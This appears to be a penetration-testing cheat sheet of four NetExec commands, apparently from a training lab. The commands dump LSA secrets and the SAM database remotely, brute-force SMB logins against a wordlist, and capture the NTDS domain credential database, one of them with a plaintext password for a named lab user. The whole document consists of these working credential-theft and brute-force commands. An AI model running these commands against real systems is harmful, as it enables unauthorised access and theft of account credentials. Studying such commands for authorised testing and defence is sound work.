netexec

1

🌐 Remote LSA Dump (netexec)

netexec smb <IP> --local-auth -u <user> -p <pass> --lsa

2

🌐 Remote SAM Dump (netexec)

netexec smb <IP> --local-auth -u <user> -p <pass> --sam

3

Launching a brute-force attack with NetExec

netexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt

4

NetExec to capture NTDS

netexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! -M ntdsutil